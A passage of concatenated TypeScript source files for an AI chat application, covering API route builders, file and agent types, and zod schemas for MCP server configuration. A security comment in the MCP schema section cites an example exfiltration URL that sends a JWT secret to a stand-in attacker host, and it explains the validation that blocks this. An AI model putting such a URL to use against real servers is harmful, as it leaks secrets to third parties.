=> `${files()}/speech`;\n\nexport const speechToText = () => `${speech()}/stt`;\n\nexport const textToSpeech = () => `${speech()}/tts`;\n\nexport const textToSpeechManual = () => `${textToSpeech()}/manual`;\n\nexport const textToSpeechVoices = () => `${textToSpeech()}/voices`;\n\nexport const getCustomConfigSpeech = () => `${speech()}/config/get`;\n\nexport const getPromptGroup = (_id: string) => `${prompts()}/groups/${_id}`;\n\nexport const getPromptGroupsWithFilters = (filter: object) => {\n let url = `${prompts()}/groups`;\n // Filter out undefined/null values\n const cleanedFilter = Object.entries(filter).reduce(\n (acc, [key, value]) => {\n if (value !== undefined && value !== null && value !== '') {\n acc[key] = value;\n }\n return acc;\n },\n {} as Record<string, string>,\n );\n\n if (Object.keys(cleanedFilter).length > 0) {\n const queryParams = new URLSearchParams(cleanedFilter).toString();\n url += `?${queryParams}`;\n }\n return url;\n};\n\nexport const getPromptsWithFilters = (filter: object) => {\n let url = prompts();\n if (Object.keys(filter).length > 0) {\n const queryParams = new URLSearchParams(filter as Record<string, string>).toString();\n url += `?${queryParams}`;\n }\n return url;\n};\n\nexport const getPrompt = (_id: string) => `${prompts()}/${_id}`;\n\nexport const getRandomPrompts = (limit: number, skip: number) =>\n `${prompts()}/random?limit=${limit}&skip=${skip}`;\n\nexport const postPrompt = prompts;\n\nexport const updatePromptGroup = getPromptGroup;\n\nexport const updatePromptLabels = (_id: string) => `${getPrompt(_id)}/labels`;\n\nexport const updatePromptTag = (_id: string) => `${getPrompt(_id)}/tags/production`;\n\nexport const deletePromptGroup = getPromptGroup;\n\nexport const deletePrompt = ({ _id, groupId }: { _id: string; groupId: string }) => {\n return `${prompts()}/${_id}?groupId=${groupId}`;\n};\n\nexport const getCategories = () => `${BASE_URL}/api/categories`;\n\nexport const getAllPromptGroups = () => `${prompts()}/all`;\n\n/* Roles */\nexport const roles = () => `${BASE_URL}/api/roles`;\nexport const getRole = (roleName: string) => `${roles()}/${roleName.toLowerCase()}`;\nexport const updatePromptPermissions = (roleName: string) => `${getRole(roleName)}/prompts`;\nexport const updateMemoryPermissions = (roleName: string) => `${getRole(roleName)}/memories`;\nexport const updateAgentPermissions = (roleName: string) => `${getRole(roleName)}/agents`;\nexport const updatePeoplePickerPermissions = (roleName: string) =>\n `${getRole(roleName)}/people-picker`;\nexport const updateMCPServersPermissions = (roleName: string) => `${getRole(roleName)}/mcp-servers`;\nexport const updateRemoteAgentsPermissions = (roleName: string) =>\n `${getRole(roleName)}/remote-agents`;\n\nexport const updateMarketplacePermissions = (roleName: string) =>\n `${getRole(roleName)}/marketplace`;\n\n/* Conversation Tags */\nexport const conversationTags = (tag?: string) =>\n `${BASE_URL}/api/tags${tag != null && tag ? `/${encodeURIComponent(tag)}` : ''}`;\n\nexport const conversationTagsList = (pageNumber: string, sort?: string, order?: string) =>\n `${conversationTags()}/list?pageNumber=${pageNumber}${sort ? `&sort=${sort}` : ''}${\n order ? `&order=${order}` : ''\n }`;\n\nexport const addTagToConversation = (conversationId: string) =>\n `${conversationTags()}/convo/${conversationId}`;\n\nexport const userTerms = () => `${BASE_URL}/api/user/terms`;\nexport const acceptUserTerms = () => `${BASE_URL}/api/user/terms/accept`;\nexport const banner = () => `${BASE_URL}/api/banner`;\n\n// Message Feedback\nexport const feedback = (conversationId: string, messageId: string) =>\n `${BASE_URL}/api/messages/${conversationId}/${messageId}/feedback`;\n\n// Two-Factor Endpoints\nexport const enableTwoFactor = () => `${BASE_URL}/api/auth/2fa/enable`;\nexport const verifyTwoFactor = () => `${BASE_URL}/api/auth/2fa/verify`;\nexport const confirmTwoFactor = () => `${BASE_URL}/api/auth/2fa/confirm`;\nexport const disableTwoFactor = () => `${BASE_URL}/api/auth/2fa/disable`;\nexport const regenerateBackupCodes = () => `${BASE_URL}/api/auth/2fa/backup/regenerate`;\nexport const verifyTwoFactorTemp = () => `${BASE_URL}/api/auth/2fa/verify-temp`;\n\n/* Memories */\nexport const memories = () => `${BASE_URL}/api/memories`;\nexport const memory = (key: string) => `${memories()}/${encodeURIComponent(key)}`;\nexport const memoryPreferences = () => `${memories()}/preferences`;\n\nexport const searchPrincipals = (params: q.PrincipalSearchParams) => {\n const { q: query, limit, types } = params;\n let url = `${BASE_URL}/api/permissions/search-principals?q=${encodeURIComponent(query)}`;\n\n if (limit !== undefined) {\n url += `&limit=${limit}`;\n }\n\n if (types && types.length > 0) {\n url += `&types=${types.join(',')}`;\n }\n\n return url;\n};\n\nexport const getAccessRoles = (resourceType: ResourceType) =>\n `${BASE_URL}/api/permissions/${resourceType}/roles`;\n\nexport const getResourcePermissions = (resourceType: ResourceType, resourceId: string) =>\n `${BASE_URL}/api/permissions/${resourceType}/${resourceId}`;\n\nexport const updateResourcePermissions = (resourceType: ResourceType, resourceId: string) =>\n `${BASE_URL}/api/permissions/${resourceType}/${resourceId}`;\n\nexport const getEffectivePermissions = (resourceType: ResourceType, resourceId: string) =>\n `${BASE_URL}/api/permissions/${resourceType}/${resourceId}/effective`;\n\nexport const getAllEffectivePermissions = (resourceType: ResourceType) =>\n `${BASE_URL}/api/permissions/${resourceType}/effective/all`;\n\n// SharePoint Graph API Token\nexport const graphToken = (scopes: string) =>\n `${BASE_URL}/api/auth/graph-token?scopes=${encodeURIComponent(scopes)}`;\n","import { EToolResources } from './assistants';\n\nexport enum FileSources {\n local = 'local',\n firebase = 'firebase',\n azure = 'azure',\n azure_blob = 'azure_blob',\n openai = 'openai',\n s3 = 's3',\n vectordb = 'vectordb',\n execute_code = 'execute_code',\n mistral_ocr = 'mistral_ocr',\n azure_mistral_ocr = 'azure_mistral_ocr',\n vertexai_mistral_ocr = 'vertexai_mistral_ocr',\n text = 'text',\n document_parser = 'document_parser',\n}\n\nexport const checkOpenAIStorage = (source: string) =>\n source === FileSources.openai || source === FileSources.azure;\n\nexport enum FileContext {\n avatar = 'avatar',\n unknown = 'unknown',\n agents = 'agents',\n assistants = 'assistants',\n execute_code = 'execute_code',\n image_generation = 'image_generation',\n assistants_output = 'assistants_output',\n message_attachment = 'message_attachment',\n filename = 'filename',\n updatedAt = 'updatedAt',\n source = 'source',\n filterSource = 'filterSource',\n context = 'context',\n bytes = 'bytes',\n}\n\nexport type EndpointFileConfig = {\n disabled?: boolean;\n fileLimit?: number;\n fileSizeLimit?: number;\n totalSizeLimit?: number;\n supportedMimeTypes?: RegExp[];\n};\n\nexport type FileConfig = {\n endpoints: {\n [key: string]: EndpointFileConfig;\n };\n fileTokenLimit?: number;\n serverFileSizeLimit?: number;\n avatarSizeLimit?: number;\n clientImageResize?: {\n enabled?: boolean;\n maxWidth?: number;\n maxHeight?: number;\n quality?: number;\n };\n ocr?: {\n supportedMimeTypes?: RegExp[];\n };\n text?: {\n supportedMimeTypes?: RegExp[];\n };\n stt?: {\n supportedMimeTypes?: RegExp[];\n };\n checkType?: (fileType: string, supportedTypes: RegExp[]) => boolean;\n};\n\nexport type FileConfigInput = {\n endpoints?: {\n [key: string]: EndpointFileConfig;\n };\n serverFileSizeLimit?: number;\n avatarSizeLimit?: number;\n clientImageResize?: {\n enabled?: boolean;\n maxWidth?: number;\n maxHeight?: number;\n quality?: number;\n };\n ocr?: {\n supportedMimeTypes?: string[];\n };\n text?: {\n supportedMimeTypes?: string[];\n };\n stt?: {\n supportedMimeTypes?: string[];\n };\n checkType?: (fileType: string, supportedTypes: RegExp[]) => boolean;\n};\n\nexport type TFile = {\n _id?: string;\n __v?: number;\n user: string;\n conversationId?: string;\n message?: string;\n file_id: string;\n temp_file_id?: string;\n bytes: number;\n embedded: boolean;\n filename: string;\n filepath: string;\n object: 'file';\n type: string;\n usage: number;\n context?: FileContext;\n source?: FileSources;\n filterSource?: FileSources;\n width?: number;\n height?: number;\n expiresAt?: string | Date;\n preview?: string;\n metadata?: { fileIdentifier?: string };\n createdAt?: string | Date;\n updatedAt?: string | Date;\n};\n\nexport type TFileUpload = TFile & {\n temp_file_id: string;\n};\n\nexport type AvatarUploadResponse = {\n url: string;\n};\n\nexport type SpeechToTextResponse = {\n text: string;\n};\n\nexport type VoiceResponse = string[];\n\nexport type UploadMutationOptions = {\n onSuccess?: (data: TFileUpload, variables: FormData, context?: unknown) => void;\n onMutate?: (variables: FormData) => void | Promise<unknown>;\n onError?: (error: unknown, variables: FormData, context?: unknown) => void;\n};\n\nexport type UploadAvatarOptions = {\n onSuccess?: (data: AvatarUploadResponse, variables: FormData, context?: unknown) => void;\n onMutate?: (variables: FormData) => void | Promise<unknown>;\n onError?: (error: unknown, variables: FormData, context?: unknown) => void;\n};\n\nexport type SpeechToTextOptions = {\n onSuccess?: (data: SpeechToTextResponse, variables: FormData, context?: unknown) => void;\n onMutate?: (variables: FormData) => void | Promise<unknown>;\n onError?: (error: unknown, variables: FormData, context?: unknown) => void;\n};\n\nexport type TextToSpeechOptions = {\n onSuccess?: (data: ArrayBuffer, variables: FormData, context?: unknown) => void;\n onMutate?: (variables: FormData) => void | Promise<unknown>;\n onError?: (error: unknown, variables: FormData, context?: unknown) => void;\n};\n\nexport type VoiceOptions = {\n onSuccess?: (data: VoiceResponse, variables: unknown, context?: unknown) => void;\n onMutate?: () => void | Promise<unknown>;\n onError?: (error: unknown, variables: unknown, context?: unknown) => void;\n};\n\nexport type DeleteFilesResponse = {\n message: string;\n result: Record<string, unknown>;\n};\n\nexport type BatchFile = {\n file_id: string;\n filepath: string;\n embedded: boolean;\n source: FileSources;\n temp_file_id?: string;\n};\n\nexport type DeleteFilesBody = {\n files: BatchFile[];\n agent_id?: string;\n assistant_id?: string;\n tool_resource?: EToolResources;\n};\n\nexport type DeleteMutationOptions = {\n onSuccess?: (data: DeleteFilesResponse, variables: DeleteFilesBody, context?: unknown) => void;\n onMutate?: (variables: DeleteFilesBody) => void | Promise<unknown>;\n onError?: (error: unknown, variables: DeleteFilesBody, context?: unknown) => void;\n};\n","/* eslint-disable @typescript-eslint/no-namespace */\nimport { StepTypes, ContentTypes, ToolCallTypes } from './runs';\nimport type { FunctionToolCall, SummaryContentPart } from './assistants';\nimport type { TAttachment, TPlugin } from 'src/schemas';\n\nexport namespace Agents {\n export type MessageType = 'human' | 'ai' | 'generic' | 'system' | 'function' | 'tool' | 'remove';\n\n export type ImageDetail = 'auto' | 'low' | 'high';\n\n export type ReasoningContentText = {\n type: ContentTypes.THINK;\n think: string;\n };\n\n export type MessageContentText = {\n type: ContentTypes.TEXT;\n text: string;\n tool_call_ids?: string[];\n };\n\n export type AgentUpdate = {\n type: ContentTypes.AGENT_UPDATE;\n agent_update: {\n index: number;\n runId: string;\n agentId: string;\n };\n };\n\n export type MessageContentImageUrl = {\n type: ContentTypes.IMAGE_URL;\n image_url: string | { url: string; detail?: ImageDetail };\n };\n\n export type MessageContentVideoUrl = {\n type: ContentTypes.VIDEO_URL;\n video_url: { url: string };\n };\n\n export type MessageContentInputAudio = {\n type: ContentTypes.INPUT_AUDIO;\n input_audio: {\n data: string;\n format: string;\n };\n };\n\n export type MessageContentComplex =\n | ReasoningContentText\n | AgentUpdate\n | MessageContentText\n | MessageContentImageUrl\n | MessageContentVideoUrl\n | MessageContentInputAudio\n | SummaryContentPart\n | ToolCallContent\n // eslint-disable-next-line @typescript-eslint/no-explicit-any\n | (Record<string, any> & { type?: ContentTypes | string })\n // eslint-disable-next-line @typescript-eslint/no-explicit-any\n | (Record<string, any> & { type?: never });\n\n export type MessageContent = string | MessageContentComplex[];\n\n /**\n * A call to a tool.\n */\n export type ToolCall = {\n /** Type (\"tool_call\") according to Assistants Tool Call Structure */\n type: ToolCallTypes.TOOL_CALL;\n /** The name of the tool to be called */\n name: string;\n\n /** The arguments to the tool call */\n // eslint-disable-next-line @typescript-eslint/no-explicit-any\n args?: string | Record<string, any>;\n\n /** If provided, an identifier associated with the tool call */\n id?: string;\n /** If provided, the output of the tool call */\n output?: string;\n /** Auth URL */\n auth?: string;\n /** Expiration time */\n expires_at?: number;\n };\n\n export type ToolEndEvent = {\n /** The Step Id of the Tool Call */\n id: string;\n /** The Completed Tool Call */\n tool_call?: ToolCall;\n /** The content index of the tool call */\n index: number;\n };\n\n export type ToolCallContent = {\n type: ContentTypes.TOOL_CALL;\n tool_call?: ToolCall;\n };\n\n /**\n * A chunk of a tool call (e.g., as part of a stream).\n * When merging ToolCallChunks (e.g., via AIMessageChunk.__add__),\n * all string attributes are concatenated. Chunks are only merged if their\n * values of `index` are equal and not None.\n *\n * @example\n * ```ts\n * const leftChunks = [\n * {\n * name: \"foo\",\n * args: '{\"a\":',\n * index: 0\n * }\n * ];\n *\n * const leftAIMessageChunk = new AIMessageChunk({\n * content: \"\",\n * tool_call_chunks: leftChunks\n * });\n *\n * const rightChunks = [\n * {\n * name: undefined,\n * args: '1}',\n * index: 0\n * }\n * ];\n *\n * const rightAIMessageChunk = new AIMessageChunk({\n * content: \"\",\n * tool_call_chunks: rightChunks\n * });\n *\n * const result = leftAIMessageChunk.concat(rightAIMessageChunk);\n * // result.tool_call_chunks is equal to:\n * // [\n * // {\n * // name: \"foo\",\n * // args: '{\"a\":1}'\n * // index: 0\n * // }\n * // ]\n * ```\n *\n * @property {string} [name] - If provided, a substring of the name of the tool to be called\n * @property {string} [args] - If provided, a JSON substring of the arguments to the tool call\n * @property {string} [id] - If provided, a substring of an identifier for the tool call\n * @property {number} [index] - If provided, the index of the tool call in a sequence\n */\n export type ToolCallChunk = {\n name?: string;\n\n args?: string;\n\n id?: string;\n\n index?: number;\n\n type?: 'tool_call_chunk';\n };\n\n /** Event names are of the format: on_[runnable_type]_(start|stream|end).\n\n Runnable types are one of:\n\n llm - used by non chat models\n chat_model - used by chat models\n prompt -- e.g., ChatPromptTemplate\n tool -- LangChain tools\n chain - most Runnables are of this type\n Further, the events are categorized as one of:\n\n start - when the runnable starts\n stream - when the runnable is streaming\n end - when the runnable ends\n start, stream and end are associated with slightly different data payload.\n\n Please see the documentation for EventData for more details. */\n export type EventName = string;\n export type RunStep = {\n type: StepTypes;\n id: string; // #new\n runId?: string; // #new\n agentId?: string; // #new\n index: number; // #new\n stepIndex?: number; // #new\n /** Group ID for parallel content - parts with same groupId are displayed in columns */\n groupId?: number; // #new\n stepDetails: StepDetails;\n summary?: SummaryContentPart;\n usage: null | object;\n };\n\n /** Content part for aggregated message content */\n export interface ContentPart {\n type: string;\n text?: string;\n [key: string]: unknown;\n }\n\n /** User message metadata for rebuilding submission on reconnect */\n export interface UserMessageMeta {\n messageId: string;\n parentMessageId?: string;\n conversationId?: string;\n text?: string;\n }\n\n /** State data sent to reconnecting clients */\n export interface ResumeState {\n runSteps: RunStep[];\n /** Aggregated content parts - can be MessageContentComplex[] or ContentPart[] */\n aggregatedContent?: MessageContentComplex[];\n userMessage?: UserMessageMeta;\n responseMessageId?: string;\n conversationId?: string;\n sender?: string;\n }\n /**\n * Represents a run step delta i.e. any changed fields on a run step during\n * streaming.\n */\n export interface RunStepDeltaEvent {\n /**\n * The identifier of the run step, which can be referenced in API endpoints.\n */\n id: string;\n /**\n * The delta containing the fields that have changed on the run step.\n */\n delta: ToolCallDelta;\n }\n export type StepDetails = MessageCreationDetails | ToolCallsDetails;\n export type MessageCreationDetails = {\n type: StepTypes.MESSAGE_CREATION;\n message_creation: {\n message_id: string;\n };\n };\n export type ToolCallsDetails = {\n type: StepTypes.TOOL_CALLS;\n tool_calls: AgentToolCall[];\n };\n export type ToolCallDelta = {\n type: StepTypes.TOOL_CALLS | string;\n tool_calls?: ToolCallChunk[];\n auth?: string;\n expires_at?: number;\n };\n export type AgentToolCall = FunctionToolCall | ToolCall;\n export interface ExtendedMessageContent {\n type?: string;\n text?: string;\n input?: string;\n index?: number;\n id?: string;\n name?: string;\n }\n /**\n * Represents a message delta i.e. any changed fields on a message during\n * streaming.\n */\n export interface MessageDeltaEvent {\n /**\n * The identifier of the message, which can be referenced in API endpoints.\n */\n id: string;\n /**\n * The delta containing the fields that have changed on the Message.\n */\n delta: MessageDelta;\n }\n /**\n * The delta containing the fields that have changed on the Message.\n */\n export interface MessageDelta {\n /**\n * The content of the message in array of text and/or images.\n */\n content?: Agents.MessageContentComplex[];\n }\n\n /**\n * Represents a reasoning delta i.e. any changed fields on a message during\n * streaming.\n */\n export interface ReasoningDeltaEvent {\n /**\n * The identifier of the message, which can be referenced in API endpoints.\n */\n id: string;\n\n /**\n * The delta containing the fields that have changed.\n */\n delta: ReasoningDelta;\n }\n\n /**\n * The reasoning delta containing the fields that have changed on the Message.\n */\n export interface ReasoningDelta {\n /**\n * The content of the message in array of text and/or images.\n */\n content?: MessageContentComplex[];\n }\n\n export type ReasoningDeltaUpdate = { type: ContentTypes.THINK; think: string };\n export type ContentType =\n | ContentTypes.THINK\n | ContentTypes.TEXT\n | ContentTypes.IMAGE_URL\n | ContentTypes.VIDEO_URL\n | ContentTypes.INPUT_AUDIO\n | string;\n\n export interface SummarizeStartEvent {\n agentId: string;\n provider: string;\n model?: string;\n messagesToRefineCount: number;\n summaryVersion: number;\n }\n\n export interface SummarizeDeltaEvent {\n id: string;\n delta: {\n summary: SummaryContentPart;\n };\n }\n\n export interface SummarizeCompleteEvent {\n id: string;\n agentId: string;\n summary?: SummaryContentPart;\n error?: string;\n }\n}\n\nexport type ToolCallResult = {\n user: string;\n toolId: string;\n result?: unknown;\n messageId: string;\n partIndex?: number;\n blockIndex?: number;\n conversationId: string;\n attachments?: TAttachment[];\n};\n\nexport enum AuthTypeEnum {\n ServiceHttp = 'service_http',\n OAuth = 'oauth',\n None = 'none',\n}\n\nexport enum AuthorizationTypeEnum {\n Bearer = 'bearer',\n Basic = 'basic',\n Custom = 'custom',\n}\n\nexport enum TokenExchangeMethodEnum {\n DefaultPost = 'default_post',\n BasicAuthHeader = 'basic_auth_header',\n}\n\nexport type Action = {\n action_id: string;\n type?: string;\n settings?: Record<string, unknown>;\n metadata: ActionMetadata;\n version: number | string;\n} & ({ assistant_id: string; agent_id?: never } | { assistant_id?: never; agent_id: string });\n\nexport type ActionMetadata = {\n api_key?: string;\n auth?: ActionAuth;\n domain?: string;\n privacy_policy_url?: string;\n raw_spec?: string;\n oauth_client_id?: string;\n oauth_client_secret?: string;\n};\n\nexport type ActionAuth = {\n authorization_type?: AuthorizationTypeEnum;\n custom_auth_header?: string;\n type?: AuthTypeEnum;\n authorization_content_type?: string;\n authorization_url?: string;\n client_url?: string;\n scope?: string;\n token_exchange_method?: TokenExchangeMethodEnum;\n};\n\nexport type ActionMetadataRuntime = ActionMetadata & {\n oauth_access_token?: string;\n oauth_refresh_token?: string;\n oauth_token_expires_at?: Date;\n};\n\nexport type MCP = {\n serverName: string;\n metadata: MCPMetadata;\n} & ({ assistant_id: string; agent_id?: never } | { assistant_id?: never; agent_id?: string });\n\nexport type MCPMetadata = Omit<ActionMetadata, 'auth'> & {\n name?: string;\n description?: string;\n url?: string;\n tools?: string[];\n auth?: MCPAuth;\n icon?: string;\n trust?: boolean;\n};\n\nexport type MCPAuth = ActionAuth;\n\nexport type AgentToolType = {\n tool_id: string;\n metadata: ToolMetadata;\n} & ({ assistant_id: string; agent_id?: never } | { assistant_id?: never; agent_id?: string });\n\nexport type ToolMetadata = TPlugin;\n\nexport interface BaseMessage {\n content: string;\n role?: string;\n [key: string]: unknown;\n}\n\nexport interface BaseGraphState {\n [key: string]: unknown;\n}\n\nexport type GraphEdge = {\n /** Agent ID, use a list for multiple sources */\n from: string | string[];\n /** Agent ID, use a list for multiple destinations */\n to: string | string[];\n description?: string;\n /** Can return boolean or specific destination(s) */\n condition?: (state: BaseGraphState) => boolean | string | string[];\n /** 'handoff' creates tools for dynamic routing, 'direct' creates direct edges, which also allow parallel execution */\n edgeType?: 'handoff' | 'direct';\n /**\n * For direct edges: Optional prompt to add when transitioning through this edge.\n * String prompts can include variables like {results} which will be replaced with\n * messages from startIndex onwards. When {results} is used, excludeResults defaults to true.\n *\n * For handoff edges: Description for the input parameter that the handoff tool accepts,\n * allowing the supervisor to pass specific instructions/context to the transferred agent.\n */\n prompt?: string | ((messages: BaseMessage[], runStartIndex: number) => string | undefined);\n /**\n * When true, excludes messages from startIndex when adding prompt.\n * Automatically set to true when {results} variable is used in prompt.\n */\n excludeResults?: boolean;\n /**\n * For handoff edges: Customizes the parameter name for the handoff input.\n * Defaults to \"instructions\" if not specified.\n * Only applies when prompt is provided for handoff edges.\n */\n promptKey?: string;\n};\n","import { z } from 'zod';\nimport { TokenExchangeMethodEnum } from './types/agents';\nimport { extractEnvVariable } from './utils';\n\nconst BaseOptionsSchema = z.object({\n /** Display name for the MCP server - only letters, numbers, and spaces allowed */\n title: z\n .string()\n .regex(/^[a-zA-Z0-9 ]+$/, 'Title can only contain letters, numbers, and spaces')\n .optional(),\n /** Description of the MCP server */\n description: z.string().optional(),\n /**\n * Controls whether the MCP server is initialized during application startup.\n * - true (default): Server is initialized during app startup and included in app-level connections\n * - false: Skips initialization at startup and excludes from app-level connections - useful for servers\n * requiring manual authentication (e.g., GitHub PAT tokens) that need to be configured through the UI after startup\n */\n startup: z.boolean().optional(),\n iconPath: z.string().optional(),\n timeout: z.number().optional(),\n /** Timeout (ms) for the long-lived SSE GET stream body before undici aborts it. Default: 300_000 (5 min). */\n sseReadTimeout: z.number().positive().optional(),\n initTimeout: z.number().optional(),\n /** Controls visibility in chat dropdown menu (MCPSelect) */\n chatMenu: z.boolean().optional(),\n /**\n * Controls server instruction behavior:\n * - undefined/not set: No instructions included (default)\n * - true: Use server-provided instructions\n * - string: Use custom instructions (overrides server-provided)\n */\n serverInstructions: z.union([z.boolean(), z.string()]).optional(),\n /**\n * Whether this server requires OAuth authentication\n * If not specified, will be auto-detected during construction\n */\n requiresOAuth: z.boolean().optional(),\n /**\n * OAuth configuration for SSE and Streamable HTTP transports\n * - Optional: OAuth can be auto-discovered on 401 responses\n * - Pre-configured values will skip discovery steps\n */\n oauth: z\n .object({\n /** OAuth authorization endpoint (optional - can be auto-discovered) */\n authorization_url: z.string().url().optional(),\n /** OAuth token endpoint (optional - can be auto-discovered) */\n token_url: z.string().url().optional(),\n /** OAuth client ID (optional - can use dynamic registration) */\n client_id: z.string().optional(),\n /** OAuth client secret (optional - can use dynamic registration) */\n client_secret: z.string().optional(),\n /** OAuth scopes to request */\n scope: z.string().optional(),\n /** OAuth redirect URI (defaults to /api/mcp/{serverName}/oauth/callback) */\n redirect_uri: z.string().url().optional(),\n /** Token exchange method */\n token_exchange_method: z.nativeEnum(TokenExchangeMethodEnum).optional(),\n /** Supported grant types (defaults to ['authorization_code', 'refresh_token']) */\n grant_types_supported: z.array(z.string()).optional(),\n /** Supported token endpoint authentication methods (defaults to ['client_secret_basic', 'client_secret_post']) */\n token_endpoint_auth_methods_supported: z.array(z.string()).optional(),\n /** Supported response types (defaults to ['code']) */\n response_types_supported: z.array(z.string()).optional(),\n /** Supported code challenge methods (defaults to ['S256', 'plain']) */\n code_challenge_methods_supported: z.array(z.string()).optional(),\n /** Skip code challenge validation and force S256 (useful for providers like AWS Cognito that support S256 but don't advertise it) */\n skip_code_challenge_check: z.boolean().optional(),\n /** OAuth revocation endpoint (optional - can be auto-discovered) */\n revocation_endpoint: z.string().url().optional(),\n /** OAuth revocation endpoint authentication methods supported (optional - can be auto-discovered) */\n revocation_endpoint_auth_methods_supported: z.array(z.string()).optional(),\n })\n .optional(),\n /** Custom headers to send with OAuth requests (registration, discovery, token exchange, etc.) */\n oauth_headers: z.record(z.string(), z.string()).optional(),\n /**\n * API Key authentication configuration for SSE and Streamable HTTP transports\n * - source: 'admin' means the key is provided by admin and shared by all users\n * - source: 'user' means each user provides their own key via customUserVars\n */\n apiKey: z\n .object({\n /** API key value (only for admin-provided mode, stored encrypted) */\n key: z.string().optional(),\n /** Whether key is provided by admin or each user */\n source: z.enum(['admin', 'user']),\n /** How to format the authorization header */\n authorization_type: z.enum(['basic', 'bearer', 'custom']),\n /** Custom header name when authorization_type is 'custom' */\n custom_header: z.string().optional(),\n })\n .optional(),\n customUserVars: z\n .record(\n z.string(),\n z.object({\n title: z.string(),\n description: z.string(),\n }),\n )\n .optional(),\n});\n\nexport const StdioOptionsSchema = BaseOptionsSchema.extend({\n type: z.literal('stdio').optional(),\n /**\n * The executable to run to start the server.\n */\n command: z.string(),\n /**\n * Command line arguments to pass to the executable.\n */\n args: z.array(z.string()),\n /**\n * The environment to use when spawning the process.\n *\n * If not specified, the result of getDefaultEnvironment() will be used.\n * Environment variables can be referenced using ${VAR_NAME} syntax.\n */\n env: z\n .record(z.string(), z.string())\n .optional()\n .transform((env) => {\n if (!env) {\n return env;\n }\n\n const processedEnv: Record<string, string> = {};\n for (const [key, value] of Object.entries(env)) {\n processedEnv[key] = extractEnvVariable(value);\n }\n return processedEnv;\n }),\n /**\n * How to handle stderr of the child process. This matches the semantics of Node's `child_process.spawn`.\n *\n * @type {import('node:child_process').IOType | import('node:stream').Stream | number}\n *\n * The default is \"inherit\", meaning messages to stderr will be printed to the parent process's stderr.\n */\n stderr: z.any().optional(),\n});\n\nexport const WebSocketOptionsSchema = BaseOptionsSchema.extend({\n type: z.literal('websocket').optional(),\n url: z\n .string()\n .transform((val: string) => extractEnvVariable(val))\n .pipe(z.string().url())\n .refine(\n (val: string) => {\n const protocol = new URL(val).protocol;\n return protocol === 'ws:' || protocol === 'wss:';\n },\n {\n message: 'WebSocket URL must start with ws:// or wss://',\n },\n ),\n});\n\nexport const SSEOptionsSchema = BaseOptionsSchema.extend({\n type: z.literal('sse').optional(),\n headers: z.record(z.string(), z.string()).optional(),\n url: z\n .string()\n .transform((val: string) => extractEnvVariable(val))\n .pipe(z.string().url())\n .refine(\n (val: string) => {\n const protocol = new URL(val).protocol;\n return protocol !== 'ws:' && protocol !== 'wss:';\n },\n {\n message: 'SSE URL must not start with ws:// or wss://',\n },\n ),\n});\n\nexport const StreamableHTTPOptionsSchema = BaseOptionsSchema.extend({\n type: z.union([z.literal('streamable-http'), z.literal('http')]),\n headers: z.record(z.string(), z.string()).optional(),\n url: z\n .string()\n .transform((val: string) => extractEnvVariable(val))\n .pipe(z.string().url())\n .refine(\n (val: string) => {\n const protocol = new URL(val).protocol;\n return protocol !== 'ws:' && protocol !== 'wss:';\n },\n {\n message: 'Streamable HTTP URL must not start with ws:// or wss://',\n },\n ),\n});\n\nexport const MCPOptionsSchema = z.union([\n StdioOptionsSchema,\n WebSocketOptionsSchema,\n SSEOptionsSchema,\n StreamableHTTPOptionsSchema,\n]);\n\nexport const MCPServersSchema = z.record(z.string(), MCPOptionsSchema);\n\nexport type MCPOptions = z.infer<typeof MCPOptionsSchema>;\n\n/**\n * Helper to omit server-managed fields that should not come from UI\n */\nconst omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T) =>\n schema.omit({\n startup: true,\n timeout: true,\n sseReadTimeout: true,\n initTimeout: true,\n chatMenu: true,\n serverInstructions: true,\n requiresOAuth: true,\n customUserVars: true,\n oauth_headers: true,\n });\n\nconst envVarPattern = /\\$\\{[^}]+\\}/;\nconst isWsProtocol = (val: string): boolean => /^wss?:/i.test(val);\nconst isHttpProtocol = (val: string): boolean => /^https?:/i.test(val);\n\n/**\n * Builds a URL schema for user input that rejects ${VAR} env variable patterns\n * and validates protocol constraints without resolving environment variables.\n */\nconst userUrlSchema = (protocolCheck: (val: string) => boolean, message: string) =>\n z\n .string()\n .refine((val) => !envVarPattern.test(val), {\n message: 'Environment variable references are not allowed in URLs',\n })\n .pipe(z.string().url())\n .refine(protocolCheck, { message });\n\n/**\n * MCP Server configuration that comes from UI/API input only.\n * Omits server-managed fields like startup, timeout, customUserVars, etc.\n * Allows: title, description, url, iconPath, oauth (user credentials)\n *\n * SECURITY: Stdio transport is intentionally excluded from user input.\n * Stdio allows arbitrary command execution and should only be configured\n * by administrators via the YAML config file (librechat.yaml).\n * Only remote transports (SSE, HTTP, WebSocket) are allowed via the API.\n *\n * SECURITY: URL fields use userUrlSchema instead of the admin schemas'\n * extractEnvVariable transform to prevent env variable exfiltration\n * through user-controlled URLs (e.g. http://attacker.com/?k=${JWT_SECRET}).\n * Protocol checks use positive allowlists (http(s) / ws(s)) to block\n * file://, ftp://, javascript:, and other non-network schemes.\n */\nexport const MCPServerUserInputSchema = z.union([\n omitServerManagedFields(WebSocketOptionsSchema).extend({\n url: userUrlSchema(isWsProtocol, 'WebSocket URL must use ws:// or wss://'),\n }),\n omitServerManagedFields(SSEOptionsSchema).extend({\n url: userUrlSchema(isHttpProtocol, 'SSE URL must use http:// or https://'),\n }),\n omitServerManagedFields(StreamableHTTPOptionsSchema).extend({\n url: userUrlSchema(isHttpProtocol, 'Streamable HTTP URL must use http:// or https://'),\n }),\n]);\n\nexport type MCPServerUserInput = z.infer<typeof MCPServerUserInputSchema>;\n","import { z } from 'zod';\nimport type { ZodError } from 'zod';\nimport type { TEndpointsConfig, TModelsConfig, TConfig } from './types';\nimport { EModelEndpoint, eModelEndpointSchema, isAgentsEndpoint } from './schemas';\nimport { specsConfigSchema, TSpecsConfig } from './models';\nimport { fileConfigSchema } from './file-config';\nimport { apiBaseUrl } from './api-endpoints';\nimport { FileSources } from './types/files';\nimport { MCPServersSchema } from './mcp';\n\nexport const defaultSocialLogins = ['google', 'facebook', 'openid', 'github', 'discord', 'saml'];\n\nexport const defaultRetrievalModels = [\n 'gpt-4o',\n 'o1-preview-2024-09-12',\n 'o1-preview',\n 'o1-mini-2024-09-12',\n 'o1-mini',\n 'o3-mini',\n 'chatgpt-4o-latest',\n 'gpt-4o-2024-05-13',\n 'gpt-4o-2024-08-06',\n 'gpt-4o-mini',\n 'gpt-4o-mini-2024-07-18',\n 'gpt-4-turbo-preview',\n 'gpt-3.5-turbo-0125',\n 'gpt-4-0125-preview',\n 'gpt-4-1106-preview',\n 'gpt-3.5-turbo-1106',\n 